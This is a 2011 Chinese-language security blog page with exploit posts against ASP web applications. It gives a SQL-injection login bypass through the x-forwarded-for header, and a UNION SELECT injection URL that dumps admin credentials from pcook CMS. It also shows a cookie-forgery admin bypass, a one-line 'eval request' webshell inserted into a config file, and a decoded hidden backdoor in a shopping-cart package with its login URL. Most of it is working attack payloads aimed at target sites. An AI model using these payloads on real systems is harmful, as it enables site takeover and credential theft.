在请求的header中加入x-forwarded-for即可,如
POST /admin/login.asp?action=login HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer: http://127.0.0.1:99/admin/login.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: 127.0.0.1:99
x-forwarded-for: aa' or ''='

name=123123312&pass=1232123&code=7XYZ&Submit=%B5%C7+%C2%BC

 

BY toby57

Tags: 伪造

pcook cms 2.2以及以下版本的注入漏洞

Submitted by admin
2011, February 12, 6:32 PM

程序:pcook cms 2.2以及以下版本

下载:http://down.chinaz.com/soft/23761.htm

漏洞文件:save.asp,hits.asp

FROM http://www.st999.cn/blog

BY 流浪的风

save.asp代码:

<!--#include file="Inc/conn.asp"-->
<%
Dim id
Dim Rs,Sql
id = Replace(Trim(Request.QueryString("id")),"'","")
If Session("id"&id)<>"" Then
 Set Rs = Server.CreateObject("ADODB.Recordset")
 Sql = "Select * From pcook_Article Where id="&id
 Rs.Open Sql,Conn,3,3
 If Rs.Eof And Rs.Bof Then
  Response.Write("NoData")
 Else
  Response.Write("Dig")
  Response.Write(",")
  Response.Write(Rs("Dig"))
 End If
Else
 Set Rs = Server.CreateObject("ADODB.Recordset")
 Sql = "Select * From pcook_Article Where id="&id
 Rs.Open Sql,Conn,3,3
 If Rs.Eof And Rs.Bof Then
  Response.Write("NoData")
 Else
  Dim Dig
  Dig =Rs("Dig")
  Dig = Dig + 1
  Rs("Dig") = Dig
  Rs.Update
  Rs.Close
  Set Rs = Nothing
  Session("id"&id) = id
  Response.Write(Dig)
 End If
End If
%>

过滤不全,直接可以利用

随便找篇文章,链接如list.asp?id=1341,把list.asp改为save.asp就可以了

save.asp?id=1341%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,admin_name,16,17,18,19,20,21%20from%20pcook_admin

有的也许是19个字段,刚刚就有遇到过

默认表名 pcook_admin

默认字段表admin_name,admin_pass

关键字我就找不出来了,谁找出来,给我留下言啊

忘了补充一点,注入的时候,要把IE的安全属性调到最高,以免JS控制跳转首页了

来我blog :http://www.st999.cn/blog

 =========

后台cookie欺骗

pcookmanage=UserName=admin

==============

 一句话插配置文件   (Fung提供)

来到admin_setting.asp页面  输入以下代码 然后连接inc/config.asp文件即可

javascript:document.getElementById("artlistnum").value="1\":eval request(\"a\")'";alert(document.getElementById("artlistnum").value);

======

文章列表每页显示记录:     1":eval request("a")'

Tags: pcook

无忧购物系统ASP时尚版存在后门

Submitted by admin
2011, February 6, 3:08 PM

FROM http://www.st999.cn/blog 

by  流浪的风

程序:无忧购物系统ASP时尚版

漏洞:存在后门,可直接登录拿shell,这后门不知道是本来就有还是另外别人添加的,以前的版本有没有这后门,我倒是没注意了

下载地址:以下两个地址下载的都有后门存在,其他网站的就没有看了

http://down.admin5.com/asp/3090.html  

http://www.onlinedown.net/soft/85106.htm

后门存在文件:admin\xyvipSet.asp

前些天没事干,刚好看到"无忧购物系统ASP时尚版 V2011.1.19",这个版本貌似是新出来的,以前的版本我有看过,漏洞不少,这个版本呢?

刚好今天有时间,就下载过来看了下,没想到漏洞还没找到,后门倒是发现了一个,晕了,漏洞不找也罢,这么大的后门存在,还有什么好找的。。。

在xyvipSet.asp文件中,有一处地方加密了,我就奇怪了,整个程序都没加密,就这地方加密了,有什么奥妙?

“#@~^iQAAAA==@#@&kW,D;E/DcJmmOkKxEb{Jhm% Z!%r~Otx@#@&d+ddbWU`rCNskUE*'JACN T!RE@#@&d/kkW `rWVmoE#{F@#@&M+/aGxk+R"n[kM+1Y~JrU9+aRmdwr@#@&n NPrW@#@&pCYAAA==^#~@”

解密了一下,明文出来了

if request("action")="waj2008" then
session("admin")="waj2008"
session("flag")=1
response.Redirect "index.asp"
end if

汗,好嚣张的后门啊

 

利用方式:http://www.st999.cn/admin/xyvipset.asp?action=waj2008

www.st999.cn替换成你的目标网站即可

进入后台的话,利用上传就可以拿shell了。

谁能给我个比较强大的关键字?

Tags: 无忧
Records:421234